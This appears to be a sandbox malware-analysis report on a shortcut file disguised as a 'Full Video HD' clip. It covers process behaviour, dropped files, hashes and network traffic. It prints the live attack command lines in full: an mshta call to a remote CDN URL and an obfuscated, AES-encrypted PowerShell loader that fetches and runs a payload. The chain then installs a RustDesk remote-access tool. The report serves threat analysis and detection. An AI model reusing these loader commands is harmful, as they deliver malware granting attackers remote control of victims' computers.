download:

/Downloads/Videof/Full%20Video%20HD%20(1080p).lnk

Full analysis: https://app.any.run/tasks/3bf9050c-de76-4ef0-b48e-f0be18eb81cc
Verdict: Malicious activity
Analysis date: August 01, 2024, 02:46:04
OS: Windows 10 Professional (build: 19045, 64 bit)
Indicators:
MIME: application/octet-stream
File info: MS Windows shortcut, Item id list present, Has Description string, Has Relative path, Has command line arguments, Icon number=115, ctime=Mon Jan 1 00:00:00 1601, mtime=Mon Jan 1 00:00:00 1601, atime=Mon Jan 1 00:00:00 1601, length=0, window=hidenormalshowminimized
MD5:

AD4B49F8F202071F332028C9102D1A3C

SHA1:

2038E3FB904A416ADB1F7018CF5C338FF84D9D60

SHA256:

CF59CB208E705008914B666AD469C61771D6C174C24B41F9F1EC6D3C27F6DB8F

SSDEEP:

24:8NFZsx/Tff1efVKayWtg+/CWqrDAoSpEQCab/:8YTX1e3ztMfA1iQCab

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops the executable file immediately after the start

      • mshta.exe (PID: 6624)
      • powershell.exe (PID: 6756)
      • Setup.exe (PID: 1640)
      • rustdesk.exe (PID: 3292)
      • rustdesk.exe (PID: 2388)
      • more.com (PID: 6584)

    • Scans artifacts that could help determine the target

      • mshta.exe (PID: 6624)

    • Uses AES cipher (POWERSHELL)

      • powershell.exe (PID: 6756)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 6756)

    • Changes powershell execution policy (Unrestricted)

      • mshta.exe (PID: 6624)

    • Gets or sets the symmetric key that is used for encryption and decryption (POWERSHELL)

      • powershell.exe (PID: 6756)

    • Gets or sets the initialization vector for the symmetric algorithm (POWERSHELL)

      • powershell.exe (PID: 6756)

    • Dynamically loads an assembly (POWERSHELL)

      • powershell.exe (PID: 6756)

    • Downloads the requested resource (POWERSHELL)

      • powershell.exe (PID: 6756)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • mshta.exe (PID: 6624)
      • powershell.exe (PID: 6756)
      • Setup.exe (PID: 1640)
      • rustdesk.exe (PID: 3292)
      • rustdesk.exe (PID: 2388)
      • more.com (PID: 6584)

    • Process drops legitimate windows executable

      • mshta.exe (PID: 6624)
      • powershell.exe (PID: 6756)

    • Starts POWERSHELL.EXE for commands execution

      • mshta.exe (PID: 6624)

    • The process bypasses the loading of PowerShell profile settings

      • mshta.exe (PID: 6624)

    • Cryptography encrypted command line is found

      • powershell.exe (PID: 6756)

    • Probably obfuscated PowerShell command line is found

      • mshta.exe (PID: 6624)

    • Gets or sets the security protocol (POWERSHELL)

      • powershell.exe (PID: 6756)

    • Extracts files to a directory (POWERSHELL)

      • powershell.exe (PID: 6756)

    • Writes data into a file (POWERSHELL)

      • powershell.exe (PID: 6756)

    • Gets file extension (POWERSHELL)

      • powershell.exe (PID: 6756)

    • Reads security settings of Internet Explorer

      • Setup.exe (PID: 1640)

    • Reads the date of Windows installation

      • Setup.exe (PID: 1640)

    • Starts itself from another location

      • rustdesk.exe (PID: 3292)

    • Starts application with an unusual extension

      • rustdesk.exe (PID: 2388)
      • more.com (PID: 6584)

    • Drops a file with a rarely used extension (PIF)

      • more.com (PID: 6584)

  • INFO

    • Reads Internet Explorer settings

      • mshta.exe (PID: 6624)

    • Checks proxy server information

      • mshta.exe (PID: 6624)
      • powershell.exe (PID: 6756)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 6756)

    • Checks whether the specified file exists (POWERSHELL)

      • powershell.exe (PID: 6756)

    • Disables trace logs

      • powershell.exe (PID: 6756)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 6756)

    • The executable file from the user directory is run by the Powershell process

      • Setup.exe (PID: 1640)

    • Checks supported languages

      • Setup.exe (PID: 1640)
      • rustdesk.exe (PID: 3292)
      • rustdesk.exe (PID: 2388)
      • more.com (PID: 6584)
      • StrCmp.exe (PID: 5028)

    • Create files in a temporary directory

      • Setup.exe (PID: 1640)
      • more.com (PID: 6584)
      • rustdesk.exe (PID: 2388)

    • Reads the computer name

      • Setup.exe (PID: 1640)
      • rustdesk.exe (PID: 2388)
      • rustdesk.exe (PID: 3292)
      • StrCmp.exe (PID: 5028)
      • more.com (PID: 6584)

    • Process checks computer location settings

      • Setup.exe (PID: 1640)

    • Creates files or folders in the user directory

      • rustdesk.exe (PID: 3292)
      • rustdesk.exe (PID: 2388)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.lnk | Windows Shortcut (100)

EXIF

LNK

Flags: IDList, Description, RelativePath, CommandArgs, IconFile, Unicode
FileAttributes: (none)
TargetFileSize: -
IconIndex: 115
RunWindow: Show Minimized No Activate
HotKey: (none)
TargetFileDOSName: powershell.exe
Description: power
RelativePath: ..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CommandLineArguments: .(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').('PSChildName')https://mato3f.b-cdn.net/town-fil
IconFileName: shell32.dll
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
140
Monitored processes
12
Malicious processes
5
Suspicious processes
2

Behavior graph

Click at the process to see the details
start powershell.exe no specs conhost.exe no specs mshta.exe powershell.exe conhost.exe no specs setup.exe rustdesk.exe rustdesk.exe strcmp.exe no specs more.com conhost.exe no specs flagstick.pif no specs

Process information

PID
CMD
Path
Indicators
Parent process
1640"C:\Users\admin\AppData\Local\Temp\Setup.exe" C:\Users\admin\AppData\Local\Temp\Setup.exe
powershell.exe
User:
admin
Company:
Oleg N. Scherbakov
Integrity Level:
MEDIUM
Description:
7z Setup SFX (x86)
Exit code:
0
Version:
1.4.0.1795
Modules
Images
c:\users\admin\appdata\local\temp\setup.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\acgenral.dll
2388C:\Users\admin\AppData\Roaming\sufacak\rustdesk.exeC:\Users\admin\AppData\Roaming\sufacak\rustdesk.exe
rustdesk.exe
User:
admin
Company:
Purslane Ltd
Integrity Level:
MEDIUM
Description:
RustDesk Remote Desktop
Exit code:
1
Version:
1.2.6+44
Modules
Images
c:\users\admin\appdata\roaming\sufacak\rustdesk.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
3292"C:\Users\admin\AppData\Local\Temp\rustdesk.exe" C:\Users\admin\AppData\Local\Temp\rustdesk.exe
Setup.exe
User:
admin
Company:
Purslane Ltd
Integrity Level:
MEDIUM
Description:
RustDesk Remote Desktop
Exit code:
0
Version:
1.2.6+44
Modules
Images
c:\users\admin\appdata\local\temp\rustdesk.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
5028C:\Users\admin\AppData\Roaming\sufacak\KDWDQJWEJVCAUOFLTUWTGEHQZ\StrCmp.exeC:\Users\admin\AppData\Roaming\sufacak\KDWDQJWEJVCAUOFLTUWTGEHQZ\StrCmp.exe—rustdesk.exe
User:
admin
Company:
aaa
Integrity Level:
MEDIUM
Version:
1.00
Modules
Images
c:\users\admin\appdata\roaming\sufacak\kdwdqjwejvcauofltuwtgehqz\strcmp.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvbvm60.dll
6448"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" .(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').('PSChildName')https://mato3f.b-cdn.net/town-filC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6456\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6584C:\WINDOWS\SysWOW64\more.comC:\Windows\SysWOW64\more.com
rustdesk.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
More Utility
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\more.com
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\ulib.dll
6588\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—more.com
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6624"C:\WINDOWS\system32\mshta.exe" https://mato3f.b-cdn.net/town-filC:\Windows\System32\mshta.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\wldp.dll
6756"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function eCTUGj($cXQUpqBL){return -split ($cXQUpqBL -replace '..', '0xf7f81a39-5f63-5b42-9efd-1f13b5431005amp; ')};$UflnSNVU = eCTUGj('29BDBC8E5B48C1C3371ACC1EBC292036B4AC5A464747B3EF937586E4B35787C178D1C3E1802A992866A8D5D837D79668F3AB7673EF21D6987DE814920AA5CAEAB39CD584507C2E84AF7230B6FBF50E6588E6E01376A8107764A8C85BAF2EC6358CB06ACA010F5A9AF8351E2DAF71B59FEE7B2209DA92A6FCD2AEC3057F115BEEAA6D55657724F711317027B57D2CE753B924201810C279487CFE4071D0451DCAD521E72930692ECB7060556348D4B918503BF368316C2D2DAF56110AA936432D9D9BDEC5DF85C33776A32EE21E145469998030E137D818048D48F04459FF34DCE6BC450A9F7BA0306EE7D8ADC5A52F9D7E58055BFB2D436E4D0C088E348F3EBC22B3CFD9CACE60F785C233652015F2A727632D651A0BEF877599CAC846AFD11AF9C506E88A39715024165D4D0B4DB2C244BEAE584422C05B48AF3A614D98BE6C67758D5B515E013A4E03A9D0BABAD32002234FCE1965F4CAACE334DA923E852FE9317A064FAC01DDAA8DAEB3858BF5AE05F902B69D5B15134C7F3127B739C3238D83B2A0765196754FC8EFBB67F3B2E8C9F5350D3022D9F594AFEE0E16D4C2732205D7329B3D6EC379B3EE5A0F8826E15FA8B2EF27DB5F2A803F9F674618526E1E27B48E418A05343B657D941A5462E8C635730B8E794EC0FE3D3E584F3B08C5E0F254B333F1A1A6820673B6B3EB3521C95FDD9C4B656D3B2977E3D2F21750130BD5A2D5F7009FCD1240A10C0109432B8AA68E54FBA0DF1BF88DCEDC7EA9DF0B205CF25D40B06EC99FC20AA1E01531B35FCFBC3204E677718E784954A1B7176BD26BE8165903C15C93D509F50BA2B24DCA4854A444C4A0A98ADC94A0228C38719779169FDC914234C41B704702B5E1E9CEE1828190ECF3BDADB4AC9F34381D0B9FED3DDDE36720DD57B31E8BA4BFE74115AD085B761C71E2FF87FD6DA4931CB616AAE6830A5F04691CB07420164232BDB23D638446562558BD57B4D58CFA8B8A0DEDCD2FD0D98335A2C793A312B4F4FC74954119375B013800148A70B523B2572EBBABDD8716B0CB62556A9E2734249CF44FBB410DC1BD95F9911E4B8A9469B83AD98BAD1DA6A595B95F8A13CE361EB780BD73E40F669514A537F40174C28A6D58CA57E0DDCCF8BF554B4C1C8C9AA914C6666EF3C0E70D36282620294F2FD80992EA04259B9F915563298647491B9ADA14BC3AD14F94D43BBAC443FED363265CF65C76904D68B9214EB30A23F6374111AADB4417D4A02837616129B89C9E2B4988A8D13F5CAD58B68BB3ACA437DB6E8120C25F78270F03C6999EDD390599B471629569AC4689E18708A2F820D1D1467DD7FB18F1ADC81A29FAF59FD1EB17C50C995E8FE2B045C77217D61D9DB244B10F7C746FF84DB0287B497921E61B0CF20D504D8AE8958E712FE7FCFE79F70952E23F72CC265BD027FC6A59D385DCAF558EF3E850ED9B8D04E2F88C251451E02F466CFA95722CE09B51B44D6B8679EAF9973D80ADC7F234CEEC017DEB42BDF320F417760DD30935620357241469C097EF0AB9AB302F9765ADF20B02CD9B554F790623EE0D3384AED0F86E6B6E67AA35A8CD2EBE7FE0A4BFE78EA61B00FF45D6CD8B377B0C5C1E283E0A815A48F541B5AC8AE5975F3642F527766A57102E409844FE5C5A32BB0719BF21A8B516A8B343E399E3CB00E2ECAEB88569A01F47B8125FEF1634D9FCA304A31ECBA3F23AA1FA481EDDD5FDB8EA994E0FBD269DB6D711E346335535E76BCDD0908418E65AACA7EE49B4F2E3C392F747CAF57BDCACE275DC604F05E122003ACB8E36E2C66E45E8162F155E963764DB2C0FD4152235890D225D61B5E773DE06C47A46A1309DE76D83A38ABE1D003E78EB899992CDAD7E6F538E70D22E83708DA276C246B2DBA5D5FCD9CEA209540B54951E1A738403195E48BB1C34C17D424E2715D82856D7D10E34E44DF06752D09D2E4A35639088253DE4BEC3D29E0CD36F25C121067E2B379D0E45');$yAvcK = [System.Security.Cryptography.Aes]::Create();$yAvcK.Key = eCTUGj('6444446170717150646656774D674D68');$yAvcK.IV = New-Object byte[] 16;$KBCJJTvg = $yAvcK.CreateDecryptor();$vpnhdgKlu = $KBCJJTvg.TransformFinalBlock($UflnSNVU, 0, $UflnSNVU.Length);$JmxylpWNv = [System.Text.Encoding]::Utf8.GetString($vpnhdgKlu);$KBCJJTvg.Dispose();& $JmxylpWNv.Substring(0,3) $JmxylpWNv.Substring(3)C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
26 953
Read events
26 912
Write events
41
Delete events
0

Modification events

(PID) Process:(6624) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(6624) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(6624) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(6624) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(6624) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(6624) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(6624) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(6756) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(6756) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(6756) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
Executable files
39
Suspicious files
16
Text files
6
Unknown types
0

Dropped files

PID
Process
Filename
Type
6624mshta.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711Ebinary
MD5:E8F98058221FEFED5BAD880BB2FF8E66
SHA256:DCA626D7C392EB46AA8F9743E245F0E67D2BDE97A4F32B8A56F531BF9FDFF738
6448powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:EC8CD1E342B346DA0116143D12E82221
SHA256:01E18F63B437898A2D0618B783546B04094D9529C13584F2C9DAB2A82F0C0882
6448powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6d8ac520988b4335.customDestinations-msbinary
MD5:B3157AFF8E0751D3CE0F13E8F65153F7
SHA256:A003D0A3BB0A5F40B0FA3F46203D41F9A19F1112AB40727483E325F5CFC8F0A6
6624mshta.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711Eder
MD5:FCDCAB6C82F1DFE91F702D94230CF552
SHA256:1B6B9490047ECD9DC01636A23BB3CCF8DA291C82A590BC4916E5A4245AFC5D00
6624mshta.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\517B86ABD897C7B2D4ECD67EE3885B86binary
MD5:9DC5A5F1C2AC27006FA73E81E9BA7F0E
SHA256:01503F730D638A8E3994B455BD188A791E5C10855211C028E1E83200259F20D3
6624mshta.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850Dbinary
MD5:263CF2E499864E389199CC7AFFA8BFD9
SHA256:1AF2D80464BCBD5B4DA94D89ED9B452AB0CB0A4FF690B35BEB914991193D59D4
6624mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\AH8CR9J5\town-fil[1]executable
MD5:86A133BFAD915A04254032E77EAC3B8D
SHA256:5F4CF4082DBD503C6F0B652DDD22675F4427A907726E2F8D08C718ADEAFBB568
6448powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VY56A0TIQ4CCZ1IX1919.tempbinary
MD5:B3157AFF8E0751D3CE0F13E8F65153F7
SHA256:A003D0A3BB0A5F40B0FA3F46203D41F9A19F1112AB40727483E325F5CFC8F0A6
6624mshta.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\517B86ABD897C7B2D4ECD67EE3885B86binary
MD5:355D32249BDA1F5988FD32BC2588E1ED
SHA256:B8DF17BE4C73CD8C03E31FD7A8522932E5AC91E09681F21ED27A6C15594B8F8A
6448powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_4ppb51dn.iqo.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
45
DNS requests
20
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
6624
mshta.exe
GET
200
104.18.38.233:80
http://ocsp.comodoca.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRTtU9uFqgVGHhJwXZyWCNXmVR5ngQUoBEKIz6W8Qfs4q8p74Klf9AwpLQCEDlyRDr5IrdR19NsEN0xNZU%3D
unknown
—
—
whitelisted
6624
mshta.exe
GET
200
104.18.38.233:80
http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTNMNJMNDqCqx8FcBWK16EHdimS6QQUU3m%2FWqorSs9UgOHYm8Cd8rIDZssCEH1bUSa0droR23QWC7xTDac%3D
unknown
—
—
whitelisted
6624
mshta.exe
GET
200
104.18.38.233:80
http://ocsp.sectigo.com/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRDC9IOTxN6GmyRjyTl2n4yTUczyAQUjYxexFStiuF36Zv5mwXhuAGNYeECEQCb80pEPlZ04x2fAu4YLy1O
unknown
—
—
whitelisted
5336
SearchApp.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
7124
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
whitelisted
7164
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
whitelisted
4544
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4936
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
1984
RUXIMICS.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
2120
MoUsoCoreWorker.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
3888
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
6624
mshta.exe
138.199.37.232:443
mato3f.b-cdn.net
Datacamp Limited
DE
unknown
6624
mshta.exe
104.18.38.233:80
ocsp.comodoca.com
CLOUDFLARENET
—
shared
4936
svchost.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
6756
powershell.exe
169.150.247.34:443
matozip1.b-cdn.net
—
GB
unknown

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.104.136.2
  • 51.124.78.146
  • 40.127.240.158
whitelisted
google.com
  • 172.217.16.206
whitelisted
mato3f.b-cdn.net
  • 138.199.37.232
whitelisted
ocsp.comodoca.com
  • 104.18.38.233
  • 172.64.149.23
whitelisted
ocsp.usertrust.com
  • 104.18.38.233
  • 172.64.149.23
whitelisted
ocsp.sectigo.com
  • 104.18.38.233
  • 172.64.149.23
whitelisted
matozip1.b-cdn.net
  • 169.150.247.34
whitelisted
www.bing.com
  • 104.126.37.145
  • 104.126.37.139
  • 104.126.37.128
  • 104.126.37.131
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
client.wns.windows.com
  • 40.115.3.253
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
/Downloads/Videof/Full%20Video%20HD%20(1080p).lnk